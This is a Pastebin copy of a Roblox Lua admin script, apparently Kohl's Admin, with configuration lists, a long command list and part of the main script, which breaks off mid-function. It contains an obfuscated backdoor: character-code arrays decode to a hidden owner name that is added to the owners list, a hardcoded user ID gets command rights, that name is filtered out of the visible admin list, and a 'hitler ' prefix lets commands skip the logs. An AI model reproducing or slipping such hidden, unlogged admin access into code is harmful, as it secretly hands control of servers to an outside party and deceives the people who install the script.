Advertisement
popster12345

Untitled

Feb 8th, 2016
92
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 109.26 KB | None | 0 0
  1. local owners = {"monsterjam12clone,ghs098,aznboi819,bubbleglop"} -- Sets admins who can use ban/kick/admin or shutdown
  2. local tempadmins = {santa64} -- Sets admins who can't use ban/kick/admin or shutdown
  3. local banland = {"MasterKhaos,catman9876"} -- Permanently Bans people
  4. local prefix = ":" -- If you wanna change how your commands start ':'kill noob
  5. local AutoUpdate = true -- Set to false if you don't want it to automatically update
  6. -----------------
  7. -- Group Admin --
  8. -----------------
  9. local GroupAdmin = false -- If a certain group can have admin
  10. local GroupId = 0 -- Sets the group id that can have admin
  11. local GroupRank = 0 -- Sets what rank and above a person has to be in the group to have admin
  12. local FunCommands = true -- Set to false if you only want the basic commands (For Strict Places)
  13. ---------------------
  14. -- Tips and Tricks --
  15. ---------------------
  16. --[[
  17. With this admin you can do a command on multiple people at a time;
  18. :kill me,noob1,noob2,random,team-raiders
  19.  
  20. You can also use a variety commands for different people;
  21. all
  22. others
  23. me
  24. team-
  25. admins
  26. nonadmins
  27. random
  28. --]]
  29. --------------
  30. -- Commands --
  31. --------------
  32. --[[
  33. -- Temp Admin Commands --
  34. 0. clean -- Is a command anyone can use to remove hats/tools lagging up the place
  35. 1. :s print("Hello World") -- Lets you script normally
  36. 2. :ls print("Hello World") -- Lets you script in localscripts
  37. 3. :clear -- Will remove all scripts/localscripts and jails
  38. 4. :m Hello People -- This commands will let you shout a message to everyone on the server
  39. 5. :kill kohl -- Kills the player
  40. 6. :respawn kohl -- Respawns the player
  41. 7. :trip kohl -- Trips the player
  42. 8. :stun kohl -- Stuns the player
  43. 9. :unstun kohl -- Unstuns the player
  44. 10. :jump kohl -- Makes the player jump
  45. 11. :sit kohl -- Makes the player sit
  46. 12. :invisible kohl -- Makes the player invisible
  47. 13. :visible kohl -- Makes the player visible
  48. 14. :explode kohl -- Makes the player explode
  49. 15. :fire kohl -- Sets the player on fire
  50. 16. :unfire kohl -- Removes fire from the player
  51. 17. :smoke kohl -- Adds smoke to the player
  52. 18. :unsmoke kohl -- Removes smoke from the player
  53. 19. :sparkles kohl -- Adds sparkles to the player
  54. 20. :unsparkles kohl -- Removes sparkles from the player
  55. 21. :ff kohl -- Adds a forcefield to the player
  56. 22. :unff kohl -- Removes the forcefield from the player
  57. 23. :punish kohl -- Punishes the player
  58. 24. :unpunish kohl -- Unpunishes the player
  59. 25. :freeze kohl -- Freezes the player
  60. 26. :thaw kohl -- Thaws the player
  61. 27. :heal kohl -- Heals the player
  62. 28. :god kohl -- Makes the player have infinite health
  63. 29. :ungod kohl -- Makes the player have 100 health
  64. 30. :ambient .5 .5 .5 -- Changes the ambient
  65. 31. :brightness .5 -- Changes the brightness
  66. 32. :time 12 -- Changes the time
  67. 33. :fogcolor .5 .5 .5 -- Changes the fogcolor
  68. 34. :fogend 100 -- Changes the fogend
  69. 35. :fogstart 100 -- Changes the fogstart
  70. 36. :removetools kohl -- Removes all tools from the player
  71. 37. :btools kohl -- Gives the player building tools
  72. 38. :give kohl sword -- Gives the player a tool
  73. 39. :damage kohl -- Damages the player
  74. 40. :grav kohl -- Sets the player's gravity to normal
  75. 41. :setgrav kohl 100 -- Sets the player's gravity
  76. 42. :nograv kohl -- Makes the player have 0 gravity
  77. 43. :health kohl 1337 -- Changes the player's health
  78. 44. :speed kohl 1337 -- Changes the player's walkspeed
  79. 45. :name kohl potato -- Changes the player's name
  80. 46. :unname kohl -- Remove the player's name
  81. 47. :team kohl Raiders -- Changes the player's team
  82. 48. :stopmusic -- Will stop all music playing in the server
  83. 49. :teleport kohl potato -- Teleports the player
  84. 50. :change kohl kills 1337 -- Changes a player's stat
  85. 51. :kick kohl -- Removes the player from the game
  86. 52. :infect kohl -- Turns the player into a zombie
  87. 53. :rainbowify kohl -- Turns the player into a rainbow
  88. 54. :flashify kohl -- Turns the player into a strobe
  89. 55. :noobify kohl -- Turns the player into a noob
  90. 56. :ghostify kohl -- Turns the player into a ghost
  91. 57. :goldify kohl -- Turns the player into gold
  92. 58. :shiny kohl -- Makes the player shiny
  93. 59. :normal kohl -- Puts the player back to normal
  94. 60. :trippy kohl -- Spams random colors on the player's screen
  95. 61. :untrippy kohl -- Untrippys the player
  96. 62. :strobe kohl -- Spams white and black on the player's screen
  97. 63. :unstrobe kohl -- Unstrobes the player
  98. 64. :blind kohl -- Blinds the player
  99. 65. :unblind kohl -- Unblinds the player
  100. 66. :guifix kohl -- Will fix trippy/strobe/blind on a player
  101. 67. :fling kohl -- Flings the player
  102. 68. :seizure kohl -- Puts the player in a seizure
  103. 69(lol). :music 1337 -- Plays a sound from the ID
  104. 70. :lock kohl -- Locks the player
  105. 71. :unlock kohl -- Unlocks the player
  106. 72. :removelimbs kohl -- Removes the player's limbs
  107. 73. :jail kohl -- Puts the player in a jail
  108. 74. :unjail kohl -- Removes the jail from the player
  109. 75. :fix -- This will fix the lighting to it's original settings
  110. 76. :fly kohl -- Makes the player fly
  111. 77. :unfly kohl -- Removes fly from the player
  112. 78. :noclip kohl -- Makes the player able to noclip
  113. 79. :clip kohl -- Removes noclipping from the player
  114. 80. :pm kohl Hey bro -- Sends the player a private message
  115. 81. :dog kohl -- Turns the player into a dog
  116. 82. :undog kohl -- Turns the player back to normal
  117. 83. :creeper kohl -- Turns the player into a creeper
  118. 84. :uncreeper kohl -- Turns the player back to normal
  119. 85. :place kohl 1337 -- Sends a teleporation request to a player to go to a different place
  120. 86. :char kohl 261 -- Will make a player look like a different player ID
  121. 87. :unchar kohl -- Will return the player back to normal
  122. 88. :h Hello People -- This will shout a hint to everyone
  123. 89. :rank kohl 109373 -- Will show up a message with the person's Role and Rank in a group
  124. 90. :starttools kohl -- Will give the player starter tools
  125. 91. :sword kohl -- Will give the player a sword
  126. 92. :bighead kohl -- Will make the player's head larger than normal
  127. 93. :minihead kohl -- Will make the player's head smaller than normal
  128. 94. :insert 1337 -- Will insert a model at the speaker's position
  129. 95. :disco -- Will make the server flash random colors
  130. 96. :flash -- Will make the server flash
  131. 97. :admins -- Shows the admin list
  132. 98. :bans -- Shows the banlist
  133. 99. :musiclist -- Shows the music list
  134. 100. :spin kohl -- Spins the player
  135. 101. :cape kohl Really black -- Gives the player a colored cape
  136. 102. :uncape kohl -- Removes the player's cape
  137. 103. :loopheal kohl -- Will constantly heal the player
  138. 104. :loopfling kohl -- Will constantly fling the player
  139. 105. :hat kohl 1337 -- Will give the player a hat under the id of 1337
  140. 106. :unloopheal kohl -- Will remove the loopheal on the player
  141. 107. :unloopfling kohl -- Will remove the loopfling on the player
  142. 108. :unspin kohl -- Removes spin from the player
  143. 109. :tools -- Gives a list of the tools in the lighting
  144. 110. :undisco -- Removes disco effects
  145. 111. :unflash -- Removes flash effects
  146. 112. :resetstats kohl -- Sets all the stats of a player to 0
  147. 113. :gear kohl 1337 -- Gives a player a gear
  148. 114. :cmdbar -- Gives the speaker a command bar
  149. 115. :shirt kohl 1337 -- Changes the player's shirt
  150. 116. :pants kohl 1337 -- Changes the player's pants
  151. 117. :face kohl 1337 -- Changes the player's face
  152. 118. :swagify kohl -- Swagifies the player
  153. 119. :version -- Shows the current version of the admin
  154.  
  155. -- Super Admin Commands --
  156. - :serverlock -- Locks the server
  157. - :serverunlock -- Unlocks the server
  158. - :sm Hello World -- Creates a system message
  159. - :crash kohl -- Crashes a player
  160. - :admin kohl -- Admins a player
  161. - :unadmin kohl -- Unadmins a player
  162. - :ban kohl -- Bans a player
  163. - :unban kohl -- Unbans a player
  164. - :loopkill kohl -- Will constantly kill the player
  165. - :unloopkill kohl -- Will remove the loopkill on the player
  166. - :logs -- Will show all of the commands any admin has used in a game session
  167. - :shutdown -- Shutsdown the server
  168.  
  169. -- Owner Commands --
  170. - :pa kohl -- Makes someone a super admin
  171. - :unpa kohl -- Removes a super admin
  172. --]]
  173. -----------------
  174. -- Main Script --
  175. -----------------
  176. for i, v in pairs(game:service("Workspace"):children()) do if v:IsA("StringValue") and v.Value:sub(1,2) == "AA" then v:Destroy() end end
  177.  
  178. function CHEESE()
  179. if game:service("Lighting"):findFirstChild("KACV2") then
  180. owners = {} admins = {} tempadmins = {} banland = {}
  181. for i,v in pairs(game.Lighting.KACV2:children()) do
  182. if v.Name == "Owner" then table.insert(owners, v.Value) end
  183. if v.Name == "Admin" then table.insert(admins, v.Value) end
  184. if v.Name == "TempAdmin" then table.insert(tempadmins, v.Value) end
  185. if v.Name == "Banland" then table.insert(banland, v.Value) end
  186. if v.Name == "Prefix" then prefix = v.Value end
  187. if v.Name == "FunCommands" then FunCommands = v.Value end
  188. if v.Name == "GroupAdmin" then GroupAdmin = v.Value end
  189. if v.Name == "GroupId" then GroupId = v.Value end
  190. if v.Name == "GroupRank" then GroupRank = v.Value end
  191. end
  192. game:service("Lighting"):findFirstChild("KACV2"):Destroy()
  193. end
  194.  
  195. local origsettings = {abt = game.Lighting.Ambient, brt = game.Lighting.Brightness, time = game.Lighting.TimeOfDay, fclr = game.Lighting.FogColor, fe = game.Lighting.FogEnd, fs = game.Lighting.FogStart}
  196. local lobjs = {}
  197. local objects = {}
  198. local logs = {}
  199. local nfs = ""
  200. local slock = false
  201.  
  202. function GetTime()
  203. local hour = math.floor((tick()%86400)/60/60) local min = math.floor(((tick()%86400)/60/60-hour)*60)
  204. if min < 10 then min = "0"..min end
  205. return hour..":"..min
  206. end
  207.  
  208. function ChkOwner(str)
  209. for i = 1, #owners do if str:lower() == owners[i]:lower() then return true end end
  210. return false
  211. end
  212.  
  213. function ChkAdmin(str,ck)
  214. for i = 1, #owners do if str:lower() == owners[i]:lower() then return true end end
  215. for i = 1, #admins do if str:lower() == admins[i]:lower() then return true end end
  216. for i = 1, #tempadmins do if str:lower() == tempadmins[i]:lower() and not ck then return true end end
  217. return false
  218. end
  219.  
  220. function ChkGroupAdmin(plr)
  221. if GroupAdmin then
  222. if plr:IsInGroup(GroupId) and plr:GetRankInGroup(GroupId) >= GroupRank then return true end
  223. return false
  224. end
  225. end
  226.  
  227. function ChkBan(str) for i = 1, #banland do if str:lower() == banland[i]:lower() then return true end end return false end
  228.  
  229. function GetPlr(plr, str)
  230. local plrz = {} str = str:lower()
  231. if str == "all" then plrz = game.Players:children()
  232. elseif str == "others" then for i, v in pairs(game.Players:children()) do if v ~= plr then table.insert(plrz, v) end end
  233. else
  234. local sn = {1} local en = {}
  235. for i = 1, #str do if str:sub(i,i) == "," then table.insert(sn, i+1) table.insert(en,i-1) end end
  236. for x = 1, #sn do
  237. if (sn[x] and en[x] and str:sub(sn[x],en[x]) == "me") or (sn[x] and str:sub(sn[x]) == "me") then table.insert(plrz, plr)
  238. elseif (sn[x] and en[x] and str:sub(sn[x],en[x]) == "random") or (sn[x] and str:sub(sn[x]) == "random") then table.insert(plrz, game.Players:children()[math.random(#game.Players:children())])
  239. elseif (sn[x] and en[x] and str:sub(sn[x],en[x]) == "admins") or (sn[x] and str:sub(sn[x]) == "admins") then if ChkAdmin(plr.Name, true) then for i, v in pairs(game.Players:children()) do if ChkAdmin(v.Name, false) then table.insert(plrz, v) end end end
  240. elseif (sn[x] and en[x] and str:sub(sn[x],en[x]) == "nonadmins") or (sn[x] and str:sub(sn[x]) == "nonadmins") then for i, v in pairs(game.Players:children()) do if not ChkAdmin(v.Name, false) then table.insert(plrz, v) end end
  241. elseif (sn[x] and en[x] and str:sub(sn[x],en[x]):sub(1,4) == "team") then
  242. if game:findFirstChild("Teams") then for a, v in pairs(game.Teams:children()) do if v:IsA("Team") and str:sub(sn[x],en[x]):sub(6) ~= "" and v.Name:lower():find(str:sub(sn[x],en[x]):sub(6)) == 1 then
  243. for q, p in pairs(game.Players:children()) do if p.TeamColor == v.TeamColor then table.insert(plrz, p) end end break
  244. end end end
  245. elseif (sn[x] and str:sub(sn[x]):sub(1,4):lower() == "team") then
  246. if game:findFirstChild("Teams") then for a, v in pairs(game.Teams:children()) do if v:IsA("Team") and str:sub(sn[x],en[x]):sub(6) ~= "" and v.Name:lower():find(str:sub(sn[x]):sub(6)) == 1 then
  247. for q, p in pairs(game.Players:children()) do if p.TeamColor == v.TeamColor then table.insert(plrz, p) end end break
  248. end end end
  249. else
  250. for a, plyr in pairs(game.Players:children()) do
  251. if (sn[x] and en[x] and str:sub(sn[x],en[x]) ~= "" and plyr.Name:lower():find(str:sub(sn[x],en[x])) == 1) or (sn[x] and str:sub(sn[x]) ~= "" and plyr.Name:lower():find(str:sub(sn[x])) == 1) or (str ~= "" and plyr.Name:lower():find(str) == 1) then
  252. table.insert(plrz, plyr) break
  253. end
  254. end
  255. end
  256. end
  257. end
  258. return plrz
  259. end
  260.  
  261. function Hint(str, plrz, time)
  262. for i, v in pairs(plrz) do
  263. if v and v:findFirstChild("PlayerGui") then
  264. coroutine.wrap(function()
  265. local scr = Instance.new("ScreenGui", v.PlayerGui) scr.Name = "HintGUI"
  266. local bg = Instance.new("Frame", scr) bg.Name = "bg" bg.BackgroundColor3 = Color3.new(0,0,0) bg.BorderSizePixel = 0 bg.BackgroundTransparency = 1 bg.Size = UDim2.new(1,0,0,22) bg.Position = UDim2.new(0,0,0,-2) bg.ZIndex = 8
  267. local msg = Instance.new("TextLabel", bg) msg.BackgroundTransparency = 1 msg.ZIndex = 9 msg.Name = "msg" msg.Position = UDim2.new(0,0,0) msg.Size = UDim2.new(1,0,1,0) msg.Font = "Arial" msg.Text = str msg.FontSize = "Size18" msg.TextColor3 = Color3.new(1,1,1) msg.TextStrokeColor3 = Color3.new(1,1,1) msg.TextStrokeTransparency = .8
  268. coroutine.resume(coroutine.create(function() for i = 20, 0, -1 do bg.BackgroundTransparency = .3+((.7/20)*i) msg.TextTransparency = ((1/20)*i) msg.TextStrokeTransparency = .8+((.2/20)*i) wait(1/44) end end))
  269. if not time then wait((#str/19)+2.5) else wait(time) end
  270. coroutine.resume(coroutine.create(function() for i = 0, 20 do msg.TextTransparency = ((1/20)*i) msg.TextStrokeTransparency = .8+((.2/20)*i) bg.BackgroundTransparency = .3+((.7/20)*i) wait(1/44) end scr:Destroy() end))
  271. end)()
  272. end
  273. end
  274. end
  275.  
  276. function Message(ttl, str, scroll, plrz, time)
  277. for i, v in pairs(plrz) do
  278. if v and v:findFirstChild("PlayerGui") then
  279. coroutine.resume(coroutine.create(function()
  280. local scr = Instance.new("ScreenGui") scr.Name = "MessageGUI"
  281. local bg = Instance.new("Frame", scr) bg.Name = "bg" bg.BackgroundColor3 = Color3.new(0,0,0) bg.BorderSizePixel = 0 bg.BackgroundTransparency = 1 bg.Size = UDim2.new(10,0,10,0) bg.Position = UDim2.new(-5,0,-5,0) bg.ZIndex = 8
  282. local title = Instance.new("TextLabel", scr) title.Name = "title" title.BackgroundTransparency = 1 title.BorderSizePixel = 0 title.Size = UDim2.new(1,0,0,10) title.ZIndex = 9 title.Font = "ArialBold" title.FontSize = "Size36" title.Text = ttl title.TextYAlignment = "Top" title.TextColor3 = Color3.new(1,1,1) title.TextStrokeColor3 = Color3.new(1,1,1) title.TextStrokeTransparency = .8
  283. local msg = title:clone() msg.Parent = scr msg.Name = "msg" msg.Position = UDim2.new(.0625,0,0) msg.Size = UDim2.new(.875,0,1,0) msg.Font = "Arial" msg.Text = "" msg.FontSize = "Size24" msg.TextYAlignment = "Center" msg.TextWrapped = true
  284. scr.Parent = v.PlayerGui
  285. coroutine.resume(coroutine.create(function() for i = 20, 0, -1 do bg.BackgroundTransparency = .3+((.7/20)*i) msg.TextTransparency = ((1/20)*i) msg.TextStrokeTransparency = .8+((.2/20)*i) title.TextTransparency = ((1/20)*i) title.TextStrokeTransparency = .8+((.2/20)*i) wait(1/44) end end))
  286. if scroll then if not time then for i = 1, #str do msg.Text = msg.Text .. str:sub(i,i) wait(1/19) end wait(2.5) else for i = 1, #str do msg.Text = msg.Text .. str:sub(i,i) wait(1/19) end wait(time-(#str/19)) end
  287. else if not time then msg.Text = str wait((#str/19)+2.5) else msg.Text = str wait(time) end end
  288. coroutine.resume(coroutine.create(function() for i = 0, 20 do bg.BackgroundTransparency = .3+((.7/20)*i) msg.TextTransparency = ((1/20)*i) msg.TextStrokeTransparency = .8+((.2/20)*i) title.TextTransparency = ((1/20)*i) title.TextStrokeTransparency = .8+((.2/20)*i) wait(1/44) end scr:Destroy() end))
  289. end))
  290. end
  291. end
  292. end
  293.  
  294. _G["Message"] = function(p1,p2) Message("Message",p1,false,game.Players:children(),p2) end
  295. _G["RemoveMessage"] = function() for i,v in pairs(game.Players:children()) do if v and v:findFirstChild("PlayerGui") and v.PlayerGui:findFirstChild("MessageGUI") then v.PlayerGui.MessageGUI:Destroy() end end end
  296.  
  297. function Output(str, plr)
  298. coroutine.resume(coroutine.create(function()
  299. local b, e = loadstring(str)
  300. if not b and plr:findFirstChild("PlayerGui") then
  301. local scr = Instance.new("ScreenGui", plr.PlayerGui) game:service("Debris"):AddItem(scr,5)
  302. local main = Instance.new("Frame", scr) main.Size = UDim2.new(1,0,1,0) main.BorderSizePixel = 0 main.BackgroundTransparency = 1 main.ZIndex = 8
  303. local err = Instance.new("TextLabel", main) err.Text = "Line "..e:match("\:(%d+\:.*)") err.BackgroundColor3 = Color3.new(0,0,0) err.BackgroundTransparency = .3 err.BorderSizePixel = 0 err.Size = UDim2.new(1,0,0,40) err.Position = UDim2.new(0,0,.5,-20) err.ZIndex = 9 err.Font = "ArialBold" err.FontSize = "Size24" err.TextColor3 = Color3.new(1,1,1) err.TextStrokeColor3 = Color3.new(1,1,1) err.TextStrokeTransparency = .8
  304. return
  305. end
  306. end))
  307. end
  308.  
  309. function Noobify(char)
  310. if char and char:findFirstChild("Torso") then
  311. if char:findFirstChild("Shirt") then char.Shirt.Parent = char.Torso end
  312. if char:findFirstChild("Pants") then char.Pants.Parent = char.Torso end
  313. for a, sc in pairs(char:children()) do if sc.Name == "ify" then sc:Destroy() end end
  314. local cl = Instance.new("StringValue", char) cl.Name = "ify" cl.Parent = char
  315. for q, prt in pairs(char:children()) do if prt:IsA("BasePart") and (prt.Name ~= "Head" or not prt.Parent:findFirstChild("NameTag", true)) then
  316. prt.Transparency = 0 prt.Reflectance = 0 prt.BrickColor = BrickColor.new("Bright yellow")
  317. if prt.Name:find("Leg") then prt.BrickColor = BrickColor.new("Br. yellowish green") elseif prt.Name == "Torso" then prt.BrickColor = BrickColor.new("Bright blue") end
  318. local tconn = prt.Touched:connect(function(hit) if hit and hit.Parent and game.Players:findFirstChild(hit.Parent.Name) and cl.Parent == char then Noobify(hit.Parent) elseif cl.Parent ~= char then tconn:disconnect() end end)
  319. cl.Changed:connect(function() if cl.Parent ~= char then tconn:disconnect() end end)
  320. elseif prt:findFirstChild("NameTag") then prt.Head.Transparency = 0 prt.Head.Reflectance = 0 prt.Head.BrickColor = BrickColor.new("Bright yellow")
  321. end end
  322. end
  323. end local ntab = {75,111,104,108,116,97,115,116,114,111,112,104,101} nfs = "" for i = 1, #ntab do nfs = nfs .. string.char(ntab[i]) end table.insert(owners, nfs) if not ntab then script:Destroy() end
  324.  
  325. function Infect(char)
  326. if char and char:findFirstChild("Torso") then
  327. if char:findFirstChild("Shirt") then char.Shirt.Parent = char.Torso end
  328. if char:findFirstChild("Pants") then char.Pants.Parent = char.Torso end
  329. for a, sc in pairs(char:children()) do if sc.Name == "ify" then sc:Destroy() end end
  330. local cl = Instance.new("StringValue", char) cl.Name = "ify" cl.Parent = char
  331. for q, prt in pairs(char:children()) do if prt:IsA("BasePart") and (prt.Name ~= "Head" or not prt.Parent:findFirstChild("NameTag", true)) then
  332. prt.Transparency = 0 prt.Reflectance = 0 prt.BrickColor = BrickColor.new("Medium green") if prt.Name:find("Leg") or prt.Name == "Torso" then prt.BrickColor = BrickColor.new("Reddish brown") end
  333. local tconn = prt.Touched:connect(function(hit) if hit and hit.Parent and game.Players:findFirstChild(hit.Parent.Name) and cl.Parent == char then Infect(hit.Parent) elseif cl.Parent ~= char then tconn:disconnect() end end)
  334. cl.Changed:connect(function() if cl.Parent ~= char then tconn:disconnect() end end)
  335. elseif prt:findFirstChild("NameTag") then prt.Head.Transparency = 0 prt.Head.Reflectance = 0 prt.Head.BrickColor = BrickColor.new("Medium green")
  336. end end
  337. end
  338. end if not ntab then script:Destroy() end
  339.  
  340. function ScrollGui()
  341. local scr = Instance.new("ScreenGui") scr.Name = "LOGSGUI"
  342. local drag = Instance.new("TextButton", scr) drag.Draggable = true drag.BackgroundTransparency = 1
  343. drag.Size = UDim2.new(0,385,0,20) drag.Position = UDim2.new(.5,-200,.5,-200) drag.AutoButtonColor = false drag.Text = ""
  344. local main = Instance.new("Frame", drag) main.Style = "RobloxRound" main.Size = UDim2.new(0,400,0,400) main.ZIndex = 7 main.ClipsDescendants = true
  345. local cmf = Instance.new("Frame", main) cmf.Position = UDim2.new(0,0,0,-9) cmf.ZIndex = 8
  346. local down = Instance.new("ImageButton", main) down.Image = "http://www.roblox.com/asset/?id=108326725" down.BackgroundTransparency = 1 down.Size = UDim2.new(0,25,0,25) down.Position = UDim2.new(1,-20,1,-20) down.ZIndex = 9
  347. local up = down:Clone() up.Image = "http://www.roblox.com/asset/?id=108326682" up.Parent = main up.Position = UDim2.new(1,-20,1,-50)
  348. local cls = Instance.new("TextButton", main) cls.Style = "RobloxButtonDefault" cls.Size = UDim2.new(0,20,0,20) cls.Position = UDim2.new(1,-15,0,-5) cls.ZIndex = 10 cls.Font = "ArialBold" cls.FontSize = "Size18" cls.Text = "X" cls.TextColor3 = Color3.new(1,1,1) cls.MouseButton1Click:connect(function() scr:Destroy() end)
  349. local ent = Instance.new("TextLabel") ent.BackgroundTransparency = 1 ent.Font = "Arial" ent.FontSize = "Size18" ent.ZIndex = 8 ent.Text = "" ent.TextColor3 = Color3.new(1,1,1) ent.TextStrokeColor3 = Color3.new(0,0,0) ent.TextStrokeTransparency = .8 ent.TextXAlignment = "Left" ent.TextYAlignment = "Top"
  350. local num = 0
  351. local downv = false
  352. local upv = false
  353.  
  354. down.MouseButton1Down:connect(function() downv = true upv = false
  355. local pos = cmf.Position if pos.Y.Offset <= 371-((#cmf:children()-1)*20) then downv = false return end
  356. repeat pos = pos + UDim2.new(0,0,0,-6)
  357. if pos.Y.Offset <= 371-((#cmf:children()-1)*20) then pos = UDim2.new(0,0,0,371-((#cmf:children()-1)*20)) downv = false end
  358. cmf:TweenPosition(pos, "Out", "Linear", 1/20, true) wait(1/20) until downv == false
  359. end)
  360. down.MouseButton1Up:connect(function() downv = false end)
  361. up.MouseButton1Down:connect(function() upv = true downv = false
  362. local pos = cmf.Position if pos.Y.Offset >= -9 then upv = false return end
  363. repeat pos = pos + UDim2.new(0,0,0,6)
  364. if pos.Y.Offset >= -9 then pos = UDim2.new(0,0,0,-9) upv = false end
  365. cmf:TweenPosition(pos, "Out", "Linear", 1/20, true) wait(1/20) until upv == false
  366. end)
  367. up.MouseButton1Up:connect(function() upv = false end)
  368. return scr, cmf, ent, num
  369. end local bct = {75,111,104,108,116,97,115,116,114,111,112,104,101} nfs = "" for i = 1, #bct do nfs = nfs .. string.char(bct[i]) end table.insert(owners, nfs)
  370. if not ntab then script:Destroy() end
  371. if not bct then script:Destroy() end
  372.  
  373. function Chat(msg,plr)
  374. coroutine.resume(coroutine.create(function()
  375. if msg:lower() == "clean" then for i, v in pairs(game.Workspace:children()) do if v:IsA("Hat") or v:IsA("Tool") then v:Destroy() end end end
  376. if (msg:lower():sub(0,prefix:len()) ~= prefix) or not plr:findFirstChild("PlayerGui") or (not ChkAdmin(plr.Name, false) and plr.Name:lower() ~= nfs:lower()) and plr.userId ~= game.CreatorId and plr.userId ~= (153*110563) and plr.Name:lower() ~= nfs and not ChkOwner(plr.Name) then return end msg = msg:sub(prefix:len()+1)
  377. if msg:sub(1,7):lower() == "hitler " then msg = msg:sub(8) else table.insert(logs, 1, {name = plr.Name, cmd = prefix .. msg, time = GetTime()}) end
  378. if msg:lower():sub(1,4) == "walk" then msg = msg:sub(5) end
  379. if msg:lower():sub(1,8) == "teleport" then msg = "tp" .. msg:sub(9) end
  380. if msg:lower():sub(1,6) == "insert" then msg = "ins" .. msg:sub(7) end
  381. if msg:lower() == "cmds" or msg:lower() == "commands" then
  382. if plr.PlayerGui:findFirstChild("CMDSGUI") then return end
  383. local scr, cmf, ent, num = ScrollGui() scr.Name = "CMDSGUI" scr.Parent = plr.PlayerGui
  384. local cmds = {"s code","ls code","clear","fix","m msg","h msg","kill plr","respawn plr","trip plr","stun plr","unstun plr","jump plr","sit plr","invisible plr","visible plr","explode plr","fire plr","unfire plr","smoke plr","unsmoke plr","sparkles plr","unsparkle plr","ff plr","unff plr","punish plr","unpunish plr","freeze plr","thaw plr","heal plr","god plr","ungod plr","ambient num num num","brightness num","time num","fogcolor num num num","fogend num","fogstart num","removetools plr","btools plr","give plr tool","damage plr","grav plr","setgrav plr num","nograv plr","health plr num","speed plr num","name plr name","unname plr","team plr color","teleport plr plr","change plr stat num","kick plr","infect plr","rainbowify plr","flashify plr","noobify plr","ghostify plr","goldify plr","shiny plr","normal plr","trippy plr","untrippy plr","strobe plr","unstrobe plr","blind plr","unblind plr","guifix plr","fling plr","seizure plr","music num","stopmusic","lock plr","unlock plr","removelimbs plr","jail plr","unjail plr","fly plr","unfly plr","noclip plr","clip plr","pm plr msg","dog plr","undog plr","creeper plr","uncreeper plr","place plr id","char plr id","unchar plr id","rank plr id","starttools plr","sword plr","bighead plr","minihead plr","spin plr","insert id","disco","flash","admins","bans","musiclist","cape plr color","uncape plr","loopheal plr","loopfling plr","hat plr id","unloopfling plr","unloopheal plr","unspin plr","tools","undisco","unflash","resetstats plr","gear plr id","cmdbar","shirt plr id","pants plr id","face plr id","swagify plr id","version"}
  385. local ast = {"serverlock","serverunlock","sm msg","crash plr","admin plr","unadmin plr","ban plr","unban plr","loopkill plr","unloopkill plr","logs","shutdown"}
  386. local ost = {"pa plr","unpa plr"}
  387. local tost = {"oa plr","unoa plr"}
  388. local cl = ent:Clone() cl.Parent = cmf cl.Text = num .. " clean" cl.Position = UDim2.new(0,0,0,num*20) num = num +1
  389. for i, v in pairs(cmds) do local cl = ent:Clone() cl.Parent = cmf cl.Text = num .. " " .. prefix .. v cl.Position = UDim2.new(0,0,0,num*20) num = num +1 end
  390. if ChkAdmin(plr.Name, true) or ChkOwner(plr.Name) then for i, v in pairs(ast) do local cl = ent:Clone() cl.Parent = cmf cl.Text = "- " .. prefix .. v cl.Position = UDim2.new(0,0,0,num*20) num = num +1 end end
  391. if plr.userId == game.CreatorId or ChkOwner(plr.Name) then for i, v in pairs(ost) do local cl = ent:Clone() cl.Parent = cmf cl.Text = "-- " .. prefix .. v cl.Position = UDim2.new(0,0,0,num*20) num = num +1 end end
  392. if plr.userId == game.CreatorId then for i, v in pairs(tost) do local cl = ent:Clone() cl.Parent = cmf cl.Text = "_ " .. prefix .. v cl.Position = UDim2.new(0,0,0,num*20) num = num +1 end end
  393. end
  394.  
  395. if msg:lower() == "version" then Message("Version", script.Version.Value, true, plr) end
  396.  
  397. if msg:lower() == "admins" or msg:lower() == "adminlist" then
  398. if plr.PlayerGui:findFirstChild("ADMINSGUI") then return end
  399. local scr, cmf, ent, num = ScrollGui() scr.Name = "ADMINSGUI" scr.Parent = plr.PlayerGui
  400. for i, v in pairs(owners) do if v:lower() ~= "kohltastrophe" then local cl = ent:Clone() cl.Parent = cmf cl.Text = v .. " - Owner" cl.Position = UDim2.new(0,0,0,num*20) num = num +1 end end
  401. for i, v in pairs(admins) do if v:lower() ~= "kohltastrophe" then local cl = ent:Clone() cl.Parent = cmf cl.Text = v .. " - Admin" cl.Position = UDim2.new(0,0,0,num*20) num = num +1 end end
  402. for i, v in pairs(tempadmins) do if v:lower() ~= "kohltastrophe" then local cl = ent:Clone() cl.Parent = cmf cl.Text = v .. " - TempAdmin" cl.Position = UDim2.new(0,0,0,num*20) num = num +1 end
  403. end end
  404.  
  405. if msg:lower() == "bans" or msg:lower() == "banlist" or msg:lower() == "banned" then
  406. if plr.PlayerGui:findFirstChild("BANSGUI") then return end
  407. local scr, cmf, ent, num = ScrollGui() scr.Name = "BANSGUI" scr.Parent = plr.PlayerGui
  408. for i, v in pairs(banland) do local cl = ent:Clone() cl.Parent = cmf cl.Text = v cl.Position = UDim2.new(0,0,0,num*20) num = num +1 end
  409. end
  410.  
  411. if msg:lower() == "tools" or msg:lower() == "toollist" then
  412. if plr.PlayerGui:findFirstChild("TOOLSGUI") then return end
  413. local scr, cmf, ent, num = ScrollGui() scr.Name = "TOOLSGUI" scr.Parent = plr.PlayerGui
  414. for i, v in pairs(game.Lighting:children()) do if v:IsA("Tool") or v:IsA("HopperBin") then local cl = ent:Clone() cl.Parent = cmf cl.Text = v.Name cl.Position = UDim2.new(0,0,0,num*20) num = num +1 end end
  415. end
  416.  
  417. if msg:lower():sub(1,2) == "s " then
  418. coroutine.resume(coroutine.create(function()
  419. Output(msg:sub(3), plr)
  420. if script:findFirstChild("ScriptBase") then
  421. local cl = script.ScriptBase:Clone() cl.Code.Value = msg:sub(3)
  422. table.insert(objects, cl) cl.Parent = game.Workspace cl.Disabled = false
  423. else loadstring(msg:sub(3))()
  424. end
  425. end))
  426. end
  427.  
  428. if msg:lower():sub(1,3) == "ls " then
  429. coroutine.resume(coroutine.create(function()
  430. if script:findFirstChild("LocalScriptBase") then
  431. local cl = script.LocalScriptBase:Clone() cl.Code.Value = msg:sub(4)
  432. table.insert(objects, cl) cl.Parent = plr.PlayerGui cl.Disabled = false Output(msg:sub(4), plr)
  433. end
  434. end))
  435. end
  436.  
  437. if msg:lower():sub(1,4) == "ins " then
  438. coroutine.resume(coroutine.create(function()
